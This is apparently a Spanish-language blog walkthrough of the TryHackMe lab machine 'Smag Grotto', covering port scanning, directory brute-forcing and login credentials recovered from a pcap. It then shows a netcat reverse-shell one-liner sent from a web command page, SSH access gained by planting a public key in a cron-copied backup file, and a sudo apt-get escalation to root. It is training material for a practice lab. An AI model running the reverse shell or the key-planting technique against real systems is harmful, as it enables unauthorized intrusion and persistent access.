This page looks best with JavaScript enabled

TryHackMe - Smag Grotto

 ·  ☕ 3 min read  ·  ✍️ sckull

Smag Grotto es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo Smag Grotto
Info Do you remember how to analyse packets?
Puntos 160
Dificultad Facil
Maker JakeDoesSec

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), ldap (139) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Wed Jul 29 17:29:14 2020 as: nmap -sV -o nmap_scan_mini smag.thm
Nmap scan report for smag.thm (10.10.138.62)
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 29 17:29:58 2020 -- 1 IP address (1 host up) scanned in 44.14 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
root@upset:~/thm/smag# gobuster dir -u http://smag.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -q -t 25 -x php,html,txt
/index.php (Status: 200)
/mail (Status: 301)

WWW-DATA - USER

Encontramos la pagina /mail donde vemos algunos correos, en uno de ellos un archivo pcap.
image

Analizamos el archivo y encontramos credenciales, además de ello un subdominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded

username=help[... REDACTED ...]&password=cH4nG3M3_[... REDACTED ...]HTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 18:04:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Agregamos el subdominio en nuestro archivo /etc/hosts. Visitamos el puerto 80 y encontramos archivos css y php.
image

Utilizamos las credenciales en el panel de login.php donde logramos obtener acceso a una pagina para ingresar comandos.
image

Enviamos un ping hacia nuestra maquina y logramos obtener paquetes desde la maquina (smag.thm).
image

Ejecutamos la siguiente shell inversa con nuestra IP y PUERTO para obtener una shell con el usuario www-data.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.0 1338 >/tmp/f

image

USER - JAKE

Dentro de la maquina, enumeramos los directorios, en /opt/ encontramos un directorio con un archivo que contiene la clave publica (id_rsa.pub) del usuario jake.
image

Revisamos los crons de la maquina y encontramos que el contenido de este ultimo archivo se agrega al archivo authorized_keys del usuario jake, por lo que podemos agregar nuestra clave publica al archivo /opt/.backups/jake_id_rsa.pub.backup para poder ingresar en el servicio SSH utilizando el usuario Jake.

Authorized_Keys - SSH

image

Agregamos nuestra clave publica y esperamos hasta que se agregue en el archivo de Jake.
image

Ingresamos con el usuario Jake en SSH sin ninguna contraseña, y logramos obtener una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando apt-get. Utilizamos apt-get para obtener una shell root y nuestra flag root.txt.

image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: Smag Grotto